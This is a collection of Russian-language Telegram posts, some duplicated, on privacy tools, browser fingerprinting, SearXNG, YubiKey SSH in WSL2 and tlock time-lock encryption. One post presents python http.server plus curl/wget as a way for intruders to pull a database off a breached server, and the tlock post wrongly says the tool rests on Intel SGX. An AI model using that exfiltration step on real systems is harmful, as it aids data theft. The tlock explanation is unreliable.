Сегодня речь про Privacy Sexy. Кроссплатформенная забияка, с открытым git репозиторием и возможностью установить на машину как отдельное приложение либо использовать через веб.
Этот проект помогает включать/отключать privacy и security настройки в Windows / macOS / Linux с помощью готовых «твиков» и скриптов.
Ты просто выбираешь нужные галочки, а справа получаешь готовые скрипты, которые нужно запустить. Да, под Linux и Mac это будут именно Bash скрипты. Это отличная возможность посмотреть в кишочки и забрать какие-то идеи в свои проекты.
Что внутри:
- Больше 5 сотен скриптов/настроек, которые уменьшают телеметрию, отключают лишние сервисы, усиливают безопасность и приватность.
- Есть графическое приложение (desktop) и веб-версия.
- Всё прозрачно — видно, что именно делает каждый твик/скрипт.
- Обратимость — можно откатить изменения (revert).
- Полный open-source, лицензия AGPL-3.0.
Важно и ценно — в отличие от рандомных «батников» из интернета, privacy.sexy показывает, какие именно изменения будут сделаны и генерирует скрипты прозрачно.
Пользуйся на здоровье, это лучше всяких бинарных твиков!
Ну и не храни на гугол драйве своё хоум-видео с пылесос-отсосом, неровен час сам станешь звездой такого эпизода на которую однажды будут дрочить малдеры с дикого запада.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
10 64
Как тебя вычисляют по шрифтам
Гугловский пробив по кукисам это классика, но это не единственный механизм сопоставления. Сегодня рассмотрим browser fingerprint (fonts).
ㅤ
Пробежимся по кукисам.
Практически на каждом сайте, установлен анальный-зонд с маркировками: Google Analytics, Google Ads, YouTube embed, reCAPTCHA и т.п. То есть страница сайта подгружает внешние скрипты и код с доменов гугла.
Когда ты заходишь на такой сайт, браузер отправляет кукисы в гугол, в них будет информация: твой id (у тебя будет один и тот же для разных сайтов), с какого сайта ты пришел, ip, браузер, время, язык, локация и т.п.
Короче в эту клоаку уходит максимальное количество данных, которое можно от тебя получить. Ну а дальше тебе подсовывают рекламу — ага, этот чёрт читал про «ипотеку», давай заскамим его таргетированными предложениями про ипотеку.
Что же такое fonts fingerprint?
Это как тест ДНК, который даёт до 99% совпадения. Шрифт это как паспорт. У каждого пользователя свой, уникальный набор шрифтов. Даже если ты отключишь кукисы, у гугла есть другие инструменты для слежки: разрешение экранов, шрифты, webgl, canvas, timezone, ip + поведение.
Кстати «режим инкогнито» не спасёт, это — миф. В этом режиме браузер не сохраняет историю, не сохраняет кукисы после закрытия. ВСЁ! Куки это верхушка айсберга, все остальные методы скрыты под капотом.
Как работает классический font fingerprint:
Я подготовил страничку, в ней содержится как раз такой детект по шрифтам и канвасу. Открой её в браузере, а потом открой в «инкогнито» и ты сильно удивишься. Шрифты и хеш канваса будут идентичные.
Даже если открыть страницу в другом браузере, Canvas Hash в большинстве случаев будет идентичен. Для чистоты эксперимента, открой страничку в ТОR браузере и ты увидишь, что набор шрифтов поменялся, да и canvas hash протух.
Идея метода: берем текст, рисуем его с базовым шрифтом (serif / sans-serif), тестируемым шрифтом + fallback, сравниваем размеры, если размеры изменились — шрифт установлен в системе.
И по итогу мы имеем паспорт пользователя: шрифты = ОС + язык + софт. Шрифты меняются редко, уникальность очень высокая, не ломаются при включении VPN / Инкогнито.
А чё делать?
Использовать разные браузеры под разные задачи. Один браузер чисто для гугла (но рекомендую вообще снести учетку и сделать чисто под ютуб), второй для сёрфинга, третий для просмотра порнушки.
На рынке много антидетект браузеров, один из лидеров это LibreWolf. Этот браузер (Firefox на стероидах приватности) подсовывает одинаковый виртуальный набор, ломает измерения, возвращает одинаковые размеры, добавляешь шум.
LibreWolf не делает «рандом», он делает массовую «одинаковость». То есть условно у 100 пользователей, которые пользуются этим браузером, будут идентичные данные. А среди 100 таких пользователей, тебя сложно идентифицировать — ты одинаковый. Чем больше уникальности, тем легче тебя узнать.
Но ты всё равно спалишься, если залогинишься в гугле, либо будешь использовать этот браузер под разные задачи в рамках одной сессии.
Чтобы скрыться, одного браузера мало, приватность это комплексная мера. По мере моей лени, буду накидывать подобные темы и снимать с тебя розовые очки.
Ну а ты пока переваривай весь этот пиздец. Дальше затрем за Cloudflare и его приколы.
🛠 #security #privacy
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Гугловский пробив по кукисам это классика, но это не единственный механизм сопоставления. Сегодня рассмотрим browser fingerprint (fonts).
ㅤ
Пробежимся по кукисам.
Практически на каждом сайте, установлен анальный-зонд с маркировками: Google Analytics, Google Ads, YouTube embed, reCAPTCHA и т.п. То есть страница сайта подгружает внешние скрипты и код с доменов гугла.
Когда ты заходишь на такой сайт, браузер отправляет кукисы в гугол, в них будет информация: твой id (у тебя будет один и тот же для разных сайтов), с какого сайта ты пришел, ip, браузер, время, язык, локация и т.п.
Короче в эту клоаку уходит максимальное количество данных, которое можно от тебя получить. Ну а дальше тебе подсовывают рекламу — ага, этот чёрт читал про «ипотеку», давай заскамим его таргетированными предложениями про ипотеку.
Если ты залогинен в гугле и гуляешь в этом же браузере по другим сайтам — гугл это знает. Мало того, при любом звоночке, он без раздумий передаст эту информацию «малдерам».
Звучит как сказка, но у гугла есть статистика сколько они слили данных по таким запросам. И да, когда ты с закрытыми глазами принимал «лицензионное соглашение», в нём все это оговаривалось.
Что же такое fonts fingerprint?
Это как тест ДНК, который даёт до 99% совпадения. Шрифт это как паспорт. У каждого пользователя свой, уникальный набор шрифтов. Даже если ты отключишь кукисы, у гугла есть другие инструменты для слежки: разрешение экранов, шрифты, webgl, canvas, timezone, ip + поведение.
Кстати «режим инкогнито» не спасёт, это — миф. В этом режиме браузер не сохраняет историю, не сохраняет кукисы после закрытия. ВСЁ! Куки это верхушка айсберга, все остальные методы скрыты под капотом.
Fingerprint это корреляция десятков сигналов во времени.
Как работает классический font fingerprint:
Я подготовил страничку, в ней содержится как раз такой детект по шрифтам и канвасу. Открой её в браузере, а потом открой в «инкогнито» и ты сильно удивишься. Шрифты и хеш канваса будут идентичные.
Даже если открыть страницу в другом браузере, Canvas Hash в большинстве случаев будет идентичен. Для чистоты эксперимента, открой страничку в ТОR браузере и ты увидишь, что набор шрифтов поменялся, да и canvas hash протух.
Идея метода: берем текст, рисуем его с базовым шрифтом (serif / sans-serif), тестируемым шрифтом + fallback, сравниваем размеры, если размеры изменились — шрифт установлен в системе.
И по итогу мы имеем паспорт пользователя: шрифты = ОС + язык + софт. Шрифты меняются редко, уникальность очень высокая, не ломаются при включении VPN / Инкогнито.
fonts + canvas + webgl ≈ уникальность > 99%
А чё делать?
Использовать разные браузеры под разные задачи. Один браузер чисто для гугла (но рекомендую вообще снести учетку и сделать чисто под ютуб), второй для сёрфинга, третий для просмотра порнушки.
На рынке много антидетект браузеров, один из лидеров это LibreWolf. Этот браузер (Firefox на стероидах приватности) подсовывает одинаковый виртуальный набор, ломает измерения, возвращает одинаковые размеры, добавляешь шум.
Отключает webgl fingerprint, режет canvas, нормализует timezone, screen size, locale, отключает webrtc leak, блокирует third-party cookies, выключает телеметрию Mozilla, ломает high-entropy сигналы, всегда врёт одинаково.
LibreWolf не делает «рандом», он делает массовую «одинаковость». То есть условно у 100 пользователей, которые пользуются этим браузером, будут идентичные данные. А среди 100 таких пользователей, тебя сложно идентифицировать — ты одинаковый. Чем больше уникальности, тем легче тебя узнать.
Но ты всё равно спалишься, если залогинишься в гугле, либо будешь использовать этот браузер под разные задачи в рамках одной сессии.
Чтобы скрыться, одного браузера мало, приватность это комплексная мера. По мере моей лени, буду накидывать подобные темы и снимать с тебя розовые очки.
Ну а ты пока переваривай весь этот пиздец. Дальше затрем за Cloudflare и его приколы.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
4 93
Как быстро скачать файл с сервера
ㅤ
Бывает ситуация, когда тебе нужно быстренько дернуть какой-то файл с сервера, но там нет ни nginx ни т.п. херни. Вспоминать синтаксис scp и ебаться с ключами тоже не хочется. Тем более для такой задачи ставить софт — ну такое себе.
Из ситуации можно выйти проще.
Заходим в любую папку с файлами и запускаем:
Если питон старый, потрёпанный и сморщенный как хуй, делаем так:
Затем курлим файл и скачиваем его к себе на машину:
А можем прям в браузере открыть URL и увидеть список всех файлов, кликаем мышкой и скачиваем необходимое.
Еще бывают случаи когда
Ну и в конце, когда получил желаемое, не забывай остановить такой веб-сервер. Изучай!
🛠 #security #linux #tricks
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Бывает ситуация, когда тебе нужно быстренько дернуть какой-то файл с сервера, но там нет ни nginx ни т.п. херни. Вспоминать синтаксис scp и ебаться с ключами тоже не хочется. Тем более для такой задачи ставить софт — ну такое себе.
Из ситуации можно выйти проще.
Этот способ в основном используют спец-люди, которые в результате blackbox вектора проникли на север и им нужно утащить жирненькую базу данных. Всё элементарно.
Заходим в любую папку с файлами и запускаем:
python -m http.server 2977
Если питон старый, потрёпанный и сморщенный как хуй, делаем так:
python -m SimpleHTTPServer 2977
Затем курлим файл и скачиваем его к себе на машину:
curl -O http://linuxfactory.ru:2977/bashdays_db.zip
А можем прям в браузере открыть URL и увидеть список всех файлов, кликаем мышкой и скачиваем необходимое.
Еще бывают случаи когда
curl не установлен, но wget есть из коробки:wget -O bashdays_db.zip http://linuxfactory.ru:2977/bashdays_db.zip
Ну и в конце, когда получил желаемое, не забывай остановить такой веб-сервер. Изучай!
—
Please open Telegram to view this post
VIEW IN TELEGRAM
3 81
Поднимаем свой поисковик или Fuck The Google!
Продолжаем тему приватности. Кто не в курсе, пару недель назад я отказался от гугла и его сервисов, по некоторым причинам, ну и чтобы бороться с зависимостью я активно переезжаю на проверенные opensource решения.
ㅤ
На этот раз я залез в кроличью нору, отказавшись от поисковиков. Ну как отказавшись, я поднял свой поисковик, который конфиденциально делает запросы в 100500 выбранных тобой поисковиков и агрегирует результаты.
Всё это дело в два клика поднимается как self-hosted, отлично работает с проксями и луковичной маршрутизацией. Как говорится — полный фарш.
Проект называется: SearXNG.
По началу я отнесся к этому решению скептически, но потыкав более вдумчиво мне зашло, зачетная аще штука. Работает быстро, уверенно, выдает релевантную информацию и выглядит очень достойно. Кто бы мог подумать, 25к звезд на гитхабе.
Ну и дополнительно, ребята из нижнего мира активно пользуются этой штуковиной.
Композ файл выглядит так:
Конфиг
Обращаем внимание на
Запускаем по классике. Заходим в браузере
Для рядового пользователя это скорее игрушка, но у кого повышенная тревожность вполне зайдёт, тем более с поставленными задачами SearXNG отлично справляется.
Из минусов, не все поисковики лояльны, кто-то может запрашивать капчу, но на это есть официальное решение. Я его не пробовал, мне пока достаточно тех что у меня подключены сейчас.
И да если думаешь что DuckDuckGo панацея — неа, это компания в мудацкой стране под названием США, которая по первому запросу, сольет про тебя всё что на тебя есть, без зазрения совести. Потому что любая компания в США (CLOUD Act) по запросу суда, должна предоставить такие данные.
Не ведись на такое, это ПИЗДЁШЬ! Всё у них есть, не так много как у гугла, но есть, чтобы тебе смогли подвести писю к носу.
Век живи, век учись!
🛠 #security #privacy
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Продолжаем тему приватности. Кто не в курсе, пару недель назад я отказался от гугла и его сервисов, по некоторым причинам, ну и чтобы бороться с зависимостью я активно переезжаю на проверенные opensource решения.
ㅤ
На этот раз я залез в кроличью нору, отказавшись от поисковиков. Ну как отказавшись, я поднял свой поисковик, который конфиденциально делает запросы в 100500 выбранных тобой поисковиков и агрегирует результаты.
Всё это дело в два клика поднимается как self-hosted, отлично работает с проксями и луковичной маршрутизацией. Как говорится — полный фарш.
Проект называется: SearXNG.
По началу я отнесся к этому решению скептически, но потыкав более вдумчиво мне зашло, зачетная аще штука. Работает быстро, уверенно, выдает релевантную информацию и выглядит очень достойно. Кто бы мог подумать, 25к звезд на гитхабе.
Ну и дополнительно, ребята из нижнего мира активно пользуются этой штуковиной.
Хотя сейчас большинство давно уже переехали в ИИ и задают поисковые вопросы именно там, но все же иногда рука тянется поискать самостоятельно. Сливать в ИИ теже запросы, тоже такое себе, хотя всем плевать.
Композ файл выглядит так:
services:
searxng:
image: searxng/searxng:latest
container_name: searxng
restart: unless-stopped
networks:
- searxng_net
ports:
- "8080:8080"
volumes:
- ./searxng:/etc/searxng
environment:
- SEARXNG_SECRET_KEY=1234567890
read_only: true
tmpfs:
- /tmp
- /etc/ssl/certs
cap_drop:
- ALL
cap_add:
- CHOWN
- SETGID
- SETUID
security_opt:
- no-new-privileges:true
networks:
searxng_net:
driver: bridge
Конфиг
./searchxng/settings.yml:use_default_settings: true
server:
bind_address: 0.0.0.0
port: 8080
limiter: false
secret_key: "1234567890"
public_instance: false
outgoing:
request_timeout: 3.0
proxies:
http: socks5h://user:password@127.0.0.1:9050
https: socks5h://user:password@127.0.0.1:9050
engines:
- name: ahmia
disabled: true
- name: torch
disabled: true
- name: duckduckgo
disabled: true
- name: startpage
disabled: true
Обращаем внимание на
SEARXNG_SECRET_KEY и secret_key они должны быть одинаковыми. Остальное интуитивно понятно. Да, еще если не нужна прокся, можешь закомментировать блок proxies, но рекомендую оставить, воткнуть луковицу либо приобрести быстрые socks5, либо поднять свои.Запускаем по классике. Заходим в браузере
<IP>:8080 и наслаждаемся. Через морду можно покрутить настройки, которых там жопой ешь. Следом прикручивается домен, SSL, basic auth. И по итогу имеешь свой независимый поисковик, без телеметрии и слежки.Для рядового пользователя это скорее игрушка, но у кого повышенная тревожность вполне зайдёт, тем более с поставленными задачами SearXNG отлично справляется.
Из минусов, не все поисковики лояльны, кто-то может запрашивать капчу, но на это есть официальное решение. Я его не пробовал, мне пока достаточно тех что у меня подключены сейчас.
И да если думаешь что DuckDuckGo панацея — неа, это компания в мудацкой стране под названием США, которая по первому запросу, сольет про тебя всё что на тебя есть, без зазрения совести. Потому что любая компания в США (CLOUD Act) по запросу суда, должна предоставить такие данные.
Если вы ищете что-то через DuckDuckGo, у компании нет вашего IP + истории запросов, чтобы связать эти запросы с вашей личностью. И поэтому даже если есть официальный запрос от ФБР, DuckDuckGo не сможет передать то, чего не хранит.
Не ведись на такое, это ПИЗДЁШЬ! Всё у них есть, не так много как у гугла, но есть, чтобы тебе смогли подвести писю к носу.
Век живи, век учись!
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Настройка Yubikey + WSL2 + SSH (Часть 1)
Ставим YubiKey Manager, оно есть под все ОС, я буду ставить на винду и прокидывать ключ в WSL2. Под линукс это все работает из коробки, а вот с виндой + wsl 2— есть проблемы.
ㅤ
Вставляем Yubikey в USB, открываем Manager и проверяем, если всё ок, то ключ появляется. Дополнительно можно проверить в консоли командой:
Предварительно в ключ нужно зашить PIN, делается это через тот же Yubikey Manager в разделе Application → FIDO2 → FIDO2 PIN. Забиваем PIN.
Едем дальше. Прокинуть физический USB в WSL2 не так просто, но есть решение. Называется оно usbipd-win и позволяет прокинуть любую USB железяку внутрь пресловутого WSL2. Скачиваем установщик в разделе Releases и устанавливаем. Рутина.
Дальше еще интереснее. Открываем консоль PowerShell и запускаем:
И видим кучу устройств. Среди всего нужно найти Yubikey, у меня это:
Как я это понял? Да банально выткнул ключ из USB, прогнал команду, воткнул и снова прогнал, сравнил что появилось. А появилось именно это устройство, нам нужен его ID, у меня это
Если вылезет ошибка, в большинстве случаев это виндовый фаервол. У меня установлена морда TinyWall, я его на время отключаю. Позже уже добавлю нужные правила.
Так, теперь идем в WSL машину и выполняем
Кайф! Что-то прокинулось. Но что? Терпение!
У меня в WSL живет ubuntu 24, доставляем необходимые пакеты:
Проверяем:
Да сучка! Поздравляю, мы успешно прокинули USB железяку в WSL2. Нюансы! Кудаж без них. Сейчас ключ виден только руту, а нам надо обычному юзеру. Хакаем систему!
В WSL машине создаем файл
Не забываем вставить ID вендора и продукта, мы их выше уже получили и знаем.
Применяем:
Всё, для чистоты эксперимента можешь открыть новую консоль и убедиться что рядовой юзер теперь в деле.
Теперь можем генерить ключ и подключаться к серверам.
Продолжение будет завтра, всё в один пост не влезло. Завтра рассмотрим генерацию SSH ключей и как пофиксить баги при фрикциях с USB.
🛠 #security #privacy
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
TL:DR Настраиваем подключение по ssh к серверам с yubikey, без паролей, физических приватных ключей и смс. Заодно покажу как с помощью хака прокидывать физические USB устройства в WSL машину, авось захочется тебе что-то другое прокинуть и поковырять.
Ставим YubiKey Manager, оно есть под все ОС, я буду ставить на винду и прокидывать ключ в WSL2. Под линукс это все работает из коробки, а вот с виндой + wsl 2— есть проблемы.
ㅤ
Вставляем Yubikey в USB, открываем Manager и проверяем, если всё ок, то ключ появляется. Дополнительно можно проверить в консоли командой:
ykman info в ответ получен:Device type: YubiKey 5 NFC
Serial number: 12345678
Firmware version: 5.7.4
Form factor: Keychain (USB-A)
Enabled USB interfaces: OTP, FIDO, CCID
NFC transport is enabled.
Предварительно в ключ нужно зашить PIN, делается это через тот же Yubikey Manager в разделе Application → FIDO2 → FIDO2 PIN. Забиваем PIN.
PIN можно установить из консоли винды, командой: ykman fido access change-pin. Но если есть морда, то быстрее и приятнее сделать это через морду.
Едем дальше. Прокинуть физический USB в WSL2 не так просто, но есть решение. Называется оно usbipd-win и позволяет прокинуть любую USB железяку внутрь пресловутого WSL2. Скачиваем установщик в разделе Releases и устанавливаем. Рутина.
Дальше еще интереснее. Открываем консоль PowerShell и запускаем:
usbipd list
И видим кучу устройств. Среди всего нужно найти Yubikey, у меня это:
3-2 1050:0407 USB-устройство ввода, Устройство чтения смарт-карт Micros...
Как я это понял? Да банально выткнул ключ из USB, прогнал команду, воткнул и снова прогнал, сравнил что появилось. А появилось именно это устройство, нам нужен его ID, у меня это
1050:0407.usbipd bind --busid 3-2
usbipd attach --wsl --busid 3-2
Если вылезет ошибка, в большинстве случаев это виндовый фаервол. У меня установлена морда TinyWall, я его на время отключаю. Позже уже добавлю нужные правила.
Нахуя мне фаервол? Хочу держать под контролем софт, который у меня установлен, ну не нравится мне когда что-то утекает без моего ведома, тем более после «гугл приключений».
Так, теперь идем в WSL машину и выполняем
sudo lsusb, если всё ок то увидим:Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 001 Device 002: ID 1050:0407 Yubico.com Yubikey 4/5
Кайф! Что-то прокинулось. Но что? Терпение!
У меня в WSL живет ubuntu 24, доставляем необходимые пакеты:
sudo apt install -y yubikey-manager fido2-tools
Проверяем:
sudo ykman info
Device type: YubiKey 5 NFC
Serial number: 12345678
Firmware version: 5.7.4
Form factor: Keychain (USB-A)
Enabled USB interfaces: OTP, FIDO, CCID
NFC transport is enabled.
sudo fido2-token -L
/dev/hidraw1: vendor=0x1050, product=0x0407 (Yubico YubiKey)
Да сучка! Поздравляю, мы успешно прокинули USB железяку в WSL2. Нюансы! Кудаж без них. Сейчас ключ виден только руту, а нам надо обычному юзеру. Хакаем систему!
В WSL машине создаем файл
/etc/udev/rules.d/99-yubikey.rules:KERNEL=="hidraw*", SUBSYSTEM=="hidraw", ATTRS{idVendor}=="1050", ATTRS{idProduct}=="0407", MODE="0660", GROUP="plugdev", TAG+="uaccess"Не забываем вставить ID вендора и продукта, мы их выше уже получили и знаем.
Применяем:
sudo usermod -aG plugdev $USER
sudo udevadm control --reload-rules
sudo udevadm trigger
Всё, для чистоты эксперимента можешь открыть новую консоль и убедиться что рядовой юзер теперь в деле.
Теперь можем генерить ключ и подключаться к серверам.
Продолжение будет завтра, всё в один пост не влезло. Завтра рассмотрим генерацию SSH ключей и как пофиксить баги при фрикциях с USB.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
1 30
Настройка Yubikey + WSL2 + SSH (Часть 2)
Первая часть тут: https://xn--r1a.website/bashdays/1357
Создаём SSH ключ:
Оно запросит у тебя PIN который мы впендюрили в самом начале. Жмем несколько раз Enter и радуемся жизни. Новый приватный ключ создан, записан на Yubikey, публичная же часть ключа упала в
ㅤ
А дальше по классике. Закидываем публичную часть ключа на нужный сервер и пробуем подключиться:
Опа, прикасаемся своим обрубком к Yubikey и успешно подключаемся к серверу. Также можно сгенерить ключ, который не требует прикосновений, либо вообще сгенерить одноразовые пины, но это уже оверхед безопасность.
Фиксим баги:
После того как ты достанешь ключ из USB и затем воткнешь обратно. Всё к хуям сломается. Вот такая особенность винды и WSL2. Поэтому делаем финт ушами. Пишем powershell скрипт, который будет это фиксить.
Создаем файл
Не забываем изменить ID вендора и продукта. Закидываем скрипт в виндовый планировщик с параметрами:
Триггер:
- At log on (при входе в систему)
- On Event (событие USB)
- Log: System, Source:
Действие:
- Запуск
Теперь этот скрипт будет запускать при входе в систему ну и если ты будешь тыркать Yubikey туда-сюда в USB портах. Автоматизация ёпта!
Всё! Поставленная задача успешно решена. Что важно, тут не только потыкали Yubikey + SSH, но и научились прокидывать USB устройства в WSL2.
Всё остальное поищешь сам, информации полно. Я показал тебе лишь неочевидные штуки, которые могут загнать в тупик и свести с ума.
Изучай!
🛠 #security #privacy
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Первая часть тут: https://xn--r1a.website/bashdays/1357
Создаём SSH ключ:
ssh-keygen -t ed25519-sk -O resident -C "shuba@bashdays"
Оно запросит у тебя PIN который мы впендюрили в самом начале. Жмем несколько раз Enter и радуемся жизни. Новый приватный ключ создан, записан на Yubikey, публичная же часть ключа упала в
~/.ssh/id_ed25519_sk.pub.ㅤ
Да, рядом будем лежать файл id_ed25519_sk, но это ничего не меняет, это не приватный ключ, приватный ключ НЕ хранится на диске, он сразу записывается в Yubikey. А то что ты видишь у себя на диске, это дескриптор (handle). Этот файл содержит идентификатор Yubikey ключа, параметры и ссылку на resident key. Приватный ключ физически находится внутри YubiKey и не может быть извлечён.
А дальше по классике. Закидываем публичную часть ключа на нужный сервер и пробуем подключиться:
ssh root@bashdays.ru
Confirm user presence for key ED25519-SK
Опа, прикасаемся своим обрубком к Yubikey и успешно подключаемся к серверу. Также можно сгенерить ключ, который не требует прикосновений, либо вообще сгенерить одноразовые пины, но это уже оверхед безопасность.
Про SSH ключи я подробно расписывал в серии постов по тегу #linuxfactory нажми на тег, получишь список всех этих постов. Настоятельно рекомендую ознакомиться, такому в школах не учат. По крайней мере не рассказывают нюансы.
Фиксим баги:
После того как ты достанешь ключ из USB и затем воткнешь обратно. Всё к хуям сломается. Вот такая особенность винды и WSL2. Поэтому делаем финт ушами. Пишем powershell скрипт, который будет это фиксить.
Создаем файл
YubiKeyAttachToWSL.ps1$yubiKeyBusId = (usbipd list | Select-String "1050:0407" |
ForEach-Object { $_.Line.Split()[0] })
if ($yubiKeyBusId) {
usbipd attach --wsl --busid $yubiKeyBusId
Write-Host "YubiKey attached…"
} else {
Write-Host "YubiKey not found."
}
Не забываем изменить ID вендора и продукта. Закидываем скрипт в виндовый планировщик с параметрами:
Триггер:
- At log on (при входе в систему)
- On Event (событие USB)
- Log: System, Source:
WudfUsbccidDrv, Event ID: 104Действие:
- Запуск
powershell.exe с аргументами -ExecutionPolicy Bypass -File "C:\YubiKeyAttachToWSL.ps1"Теперь этот скрипт будет запускать при входе в систему ну и если ты будешь тыркать Yubikey туда-сюда в USB портах. Автоматизация ёпта!
Всё! Поставленная задача успешно решена. Что важно, тут не только потыкали Yubikey + SSH, но и научились прокидывать USB устройства в WSL2.
Всё остальное поищешь сам, информации полно. Я показал тебе лишь неочевидные штуки, которые могут загнать в тупик и свести с ума.
Изучай!
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Продолжаем параноить. Сегодня будем создавать шифрованную капсулу времени. То есть зашифрованные данные, невозможно будет расшифровать до какой-то определенной даты.
Для реализации желаемого, воспользуемся утилитой под названием
TLock — это шифрование с отложенным доступом, которое опирается на доверенную аппаратную среду (TEE, чаще всего Intel SGX). Идея всего этого безумия до безобразия простая и красивая:
— данные шифруются сейчас
— ключ не существует в открытом виде
— расшифровка после определённого времени
— даже владелец не может ускорить процесс
ㅤ
Есть TEE (Trusted Execution Environment), работает на drand (League of Entropy) + threshold BLS + Identity-Based Encryption. Дада, Artmoney тут тебе не поможет. Внутри TEE генерируется секрет, считается время, вычисляется ключ.
Пока время не наступило, ключ не вычисляется, не извлекается, не брутфорсится. Даже если ты владелец и у тебя есть дампы памяти, у тебя нихуя не получится ничего дешифровать.
Короче это нифига не cron + sleep, timestamp и т.п. Это прям технолоджи!
Устанавливаем:
1. Качаем бинарник для своей ОС: https://github.com/drand/tlock/releases/
2. Кидаем куда удобно, я закинул в
Создаем условный файл:
Шифруем:
Этот файл можно будет расшифровать только через 10 дней. Если сейчас посмотреть файл
Попробуем расшифровать:
И получаем:иди нахуй
Пример в псевдокоде:
-
-
-
Ключей и опций у этой штуковины дофига и больше, поэтому если интересно можешь сам их поизучать. Я принес тебе интересный инструмент, а дальше ты уж сам найди ему применение.
Век живи, век учись. Кстати эта технология применяется в крипте, насколько знаю в Ethereum.
Кстати для шифрования бекапов прям прикольная штука, юморная.
🛠 #security #privacy
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Очень удобно, если ты умер и хочешь чтобы твой отпрыск получил по наследству пароли от золотой коллекции прона, которую ты собирал 30 лет. Но ларчик должен открыться строго в 18 лет.
Для реализации желаемого, воспользуемся утилитой под названием
tlock. TLock — это шифрование с отложенным доступом, которое опирается на доверенную аппаратную среду (TEE, чаще всего Intel SGX). Идея всего этого безумия до безобразия простая и красивая:
— данные шифруются сейчас
— ключ не существует в открытом виде
— расшифровка после определённого времени
— даже владелец не может ускорить процесс
ㅤ
Есть TEE (Trusted Execution Environment), работает на drand (League of Entropy) + threshold BLS + Identity-Based Encryption. Дада, Artmoney тут тебе не поможет. Внутри TEE генерируется секрет, считается время, вычисляется ключ.
Ключ == f(секрет, время)
Пока время не наступило, ключ не вычисляется, не извлекается, не брутфорсится. Даже если ты владелец и у тебя есть дампы памяти, у тебя нихуя не получится ничего дешифровать.
Короче это нифига не cron + sleep, timestamp и т.п. Это прям технолоджи!
Устанавливаем:
1. Качаем бинарник для своей ОС: https://github.com/drand/tlock/releases/
2. Кидаем куда удобно, я закинул в
/usr/local/sbinСоздаем условный файл:
cd /tmp
echo "hello bashdays" >> bashdays.txt
Шифруем:
tle -e -D 10d -o bashdays.tlock bashdays.txt
Этот файл можно будет расшифровать только через 10 дней. Если сейчас посмотреть файл
bashdays.tlock то увидим кучу мусора:age-encryption.org/v1
-> tlock 26260588 52db9ba70e0cc0f6eaf7803dd07447a1f5477735fd3f661792ba94600c84e971
jhUpzCk/LXUTkwghwKbyGH1gZ2BEy3p47X4yf+8qrv7+BIhJvEUK6QsVZNnZupxK
CsP1d2kGQAsy6GfEc544aZURB3zK3999bQbXzuhA0u4JV0J27ZqnjKBdtx2az603
tF54aRojO3OmwC2JNTkO/ObQID2xJTTidpgP8K1AEac
--- pN0y6uBfL8KOcoXKp1U6T0gbrWrgDoCmwJxBZ7LHspw
#�4x�&V����S�&e`�S�`���
z��? �A��%
Попробуем расшифровать:
tle -d -o bashdays.txt bashdays.tlock
И получаем:
too early to decrypt: expected round 26260588 > 25972610 current round. Файл можно будет расшифровать только через 10 мать его дней. И пофигу root ты или супер ксакеп, нихуя у тебя не получится проникнуть в эту капсулу времени.Пример в псевдокоде:
# encryption
ciphertext = TLock.encrypt(
data=plaintext,
unlock_time=TIMESTAMP
)
# decryption
if now() >= TIMESTAMP:
plaintext = TLock.decrypt(ciphertext)
else:
raise Nope("слишком рано")
-
key нигде не лежит-
key нельзя украсть-
key нельзя вычислить заранееКлючей и опций у этой штуковины дофига и больше, поэтому если интересно можешь сам их поизучать. Я принес тебе интересный инструмент, а дальше ты уж сам найди ему применение.
Век живи, век учись. Кстати эта технология применяется в крипте, насколько знаю в Ethereum.
Кстати для шифрования бекапов прям прикольная штука, юморная.
—
Please open Telegram to view this post
VIEW IN TELEGRAM